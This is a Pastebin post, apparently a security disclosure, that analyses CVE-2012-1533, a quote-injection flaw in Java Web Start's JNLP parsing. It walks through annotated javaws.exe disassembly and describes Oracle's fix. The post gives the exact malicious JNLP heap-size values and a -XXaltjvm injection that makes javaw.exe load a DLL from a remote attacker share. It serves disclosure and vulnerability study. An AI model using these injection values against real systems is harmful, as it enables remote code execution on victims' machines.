Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- =========================================================
- Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
- =========================================================
- Hello all,
- This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
- allows remote code execution in the same way.
- ======================
- Vulnerability Overview
- ======================
- There exists an input validation vulnerability in at least Java Web Start 1.6.35
- and 1.7.07 when parsing JNLP files.
- A flaw exists in the routine which performs checks on the parameter values from
- a JNLP file. It allows the injection of non escaped double quotes (") into parameters
- of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
- JNLP file can contain a double quote which is not properly sanitized when creating
- the command line for javaw.exe. This makes it possible to get a command line parameter
- with a value consisting only of one double quote injected. Further this allows manipulating
- the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
- ======================
- Vulnerability Details
- ======================
- Notes:
- ------
- [*] A JNLP parameter will be refered to by name=value (e.g.: initial-heap-size='64m"' )
- [*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
- [*] javaws.exe has the base address of 0x00400000 in memory
- [*] Arrows (-->) indicate code continuation on next address block
- ------
- Vulnerable program flow:
- ------------------------
- [*] If a JNLP file is opened by javaws.exe, it is read into memory
- and saved temporary in %TEMP%.
- [*] JNLP parameters are parsed:
- [a] Check if a JNLP value begins with a single or a double quote:
- (EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
- 00404D60 MOV CL,BYTE PTR DS:[EAX] ; CL: 1st char of '64m"' (single quote = 0x27)
- 00404D62 CMP CL,22 ; check for double quote
- 00404D65 MOV DWORD PTR DS:[4227C4],EAX
- 00404D6A JE SHORT javaws.00404D9F ; jmp is not taken
- 00404D6C CMP CL,27 ; check for single quote
- 00404D6F JE SHORT javaws.00404D9F ; jmp is taken -->
- ...
- [b] strip quotes which enclose the JNLP value and store it:
- 00404D9F INC EAX ; points to 2nd char of JNLP value (1st char after single quote)
- 00404DA0 MOV DL,CL ; DL: 0x27 (single quote)
- 00404DA2 MOV CL,BYTE PTR DS:[EAX] ; CL: 2nd char of JNLP value (0x36)
- 00404DA4 MOV DWORD PTR DS:[4227C4],EAX
- 00404DA9 MOV ESI,EAX
- 00404DAB JMP SHORT javaws.00404DB4 ; start loop
- 00404DAD /CMP CL,DL ; compare char of JNLP value to single quote
- 00404DAF |JE SHORT javaws.00404DB8 ; loop until another single quote in JNLP value is encountered
- 00404DB1 |INC ESI ; increase pointer to chars in JNLP value
- 00404DB2 |MOV CL,BYTE PTR DS:[ESI] ; put next char of value into CL
- 00404DB4 TEST CL,CL
- 00404DB6 \JNZ SHORT javaws.00404DAD
- 00404DB8 PUSH EAX
- 00404DB9 PUSH 6
- 00404DBB MOV EAX,ESI
- 00404DBD CALL javaws.00404BF8 ; store stripped JNLP value ( in the example case: 64m" )
- ...
- [*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
- (e.g.: for JNLP parameter with name initial-heap-size) :
- 00401895 PUSH javaws.00418330 ; ASCII: -Xms%s
- 0040189A PUSH EBX
- 0040189B PUSH EAX
- 0040189C CALL javaws.00406D26 ; construct command line parameter with -Xms%s and 64m"
- 004018A1 LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
- ...
- [*] All constructed command line parameters for javaw.exe are sane checked:
- 00402B02 CALL javaws.00406911 ; run check routine -->
- ...
- 00406911 PUSH EBP
- 00406912 MOV EBP,ESP
- 00406914 PUSH EBX
- 00406915 PUSH ESI
- 00406916 PUSH EDI
- 00406917 MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
- 0040691A XOR EBX,EBX
- 0040691C CMP DWORD PTR DS:[EDI],EBX
- 0040691E MOV ESI,EDI
- 00406920 JE SHORT javaws.00406933
- 00406922 /PUSH DWORD PTR DS:[ESI] ; push pointer to command line parameter
- 00406924 |CALL javaws.00406170 ; run check on command line parameter -->
- 00406929 |MOV DWORD PTR DS:[ESI],EAX
- 0040692B |ADD ESI,4 ; ESI: pointer to next command line parameter
- 0040692E |CMP DWORD PTR DS:[ESI],EBX
- 00406930 |POP ECX
- 00406931 \JNZ SHORT javaws.00406922 ; loop until end of pointer list
- ...
- 00406170 PUSH EBX
- 00406171 MOV EBX,DWORD PTR SS:[ESP+8] ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
- 00406175 TEST EBX,EBX
- 00406177 JNZ SHORT javaws.0040617D ; -->
- ...
- 0040617D MOV EAX,EBX
- 0040617F LEA EDX,DWORD PTR DS:[EAX+1] ; EDX: pointer to command line parameter without hyphen ( Xms64m" )
- 00406182 /MOV CL,BYTE PTR DS:[EAX]
- 00406184 |INC EAX
- 00406185 |TEST CL,CL
- 00406187 \JNZ SHORT javaws.00406182
- 00406189 PUSH ESI ; pointer to pointer of -Xms64m"
- 0040618A SUB EAX,EDX ; EAX: length of Xms64m"\x00
- 0040618C PUSH javaws.004199B8 ; ASCII \x20\x09 (space and tab)
- 00406191 PUSH EBX ; pointer to -Xms64m"
- 00406192 MOV ESI,EAX
- 00406194 CALL javaws.00409590 ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
- 00406199 TEST EAX,EAX ; EAX: 0x0 for -Xms64m"
- 0040619B POP ECX
- 0040619C POP ECX
- 0040619D JNZ SHORT javaws.004061A8 ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
- 0040619F PUSH EBX
- 004061A0 CALL javaws.004127F4 ; copy of -Xms64m" (~ strdup)
- 004061A5 POP ECX
- 004061A6 JMP SHORT javaws.00406215 ; jmp over the check routines !! ---------------------> 00406215
- 004061A8 CMP ESI,1
- 004061AB JLE SHORT javaws.004061B9
- 004061AD CMP BYTE PTR DS:[EBX],22
- 004061B0 JNZ SHORT javaws.004061B9
- 004061B2 CMP BYTE PTR DS:[ESI+EBX-1],22
- 004061B7 JE SHORT javaws.0040619F
- 004061B9 XOR EAX,EAX
- 004061BB TEST ESI,ESI
- 004061BD LEA EDX,DWORD PTR DS:[ESI+3]
- 004061C0 JLE SHORT javaws.004061D5
- 004061C2 /MOV CL,BYTE PTR DS:[EAX+EBX]
- 004061C5 |CMP CL,22
- 004061C8 |JE SHORT javaws.004061CF
- 004061CA |CMP CL,5C
- 004061CD |JNZ SHORT javaws.004061D0
- 004061CF |INC EDX
- 004061D0 |INC EAX
- 004061D1 |CMP EAX,ESI
- 004061D3 \JL SHORT javaws.004061C2
- 004061D5 PUSH EDX
- 004061D6 CALL javaws.004089CD
- 004061DB TEST EAX,EAX
- 004061DD POP ECX
- 004061DE JE SHORT javaws.00406215
- 004061E0 XOR ECX,ECX
- 004061E2 PUSH EDI
- 004061E3 INC ECX
- 004061E4 XOR EDI,EDI
- 004061E6 TEST ESI,ESI
- 004061E8 MOV BYTE PTR DS:[EAX],22 ; *** prepend command line parameter with double quote
- 004061EB JLE SHORT javaws.0040620B
- 004061ED /MOV DL,BYTE PTR DS:[EDI+EBX]
- 004061F0 |CMP DL,22 ; *** check for "
- 004061F3 |JE SHORT javaws.004061FA
- 004061F5 |CMP DL,5C ; *** check for \
- 004061F8 |JNZ SHORT javaws.004061FF
- 004061FA |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
- 004061FE |INC ECX
- 004061FF |MOV DL,BYTE PTR DS:[EDI+EBX]
- 00406202 |MOV BYTE PTR DS:[EAX+ECX],DL
- 00406205 |INC ECX
- 00406206 |INC EDI
- 00406207 |CMP EDI,ESI
- 00406209 \JL SHORT javaws.004061ED
- 0040620B ADD ECX,EAX
- 0040620D MOV BYTE PTR DS:[ECX],22 ; *** append command line parameter with double quote to enclose it
- 00406210 MOV BYTE PTR DS:[ECX+1],0
- 00406214 POP EDI
- 00406215 POP ESI ; -----------------> we land here
- 00406216 POP EBX
- 00406217 RETN
- ...
- [*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
- the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
- inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
- the constructed command line parameter (see 0040619D ).
- [*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
- which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
- [*] The command line for javaw.exe then contains the two parameters after each other, so we get:
- javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
- [*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
- works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
- be on a webserver) and execute it.
- ===
- Fix
- ===
- [*] This vulnerability was fixed by Oracle in Oct. 2012
- http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
- The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
- Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
- [a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
- http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
- [b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
- values gained by sub_405BD5:
- http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
- [*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
- when it was a 0day:
- http://pastebin.com/9RztwVez
- Cheers,
- Rh0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement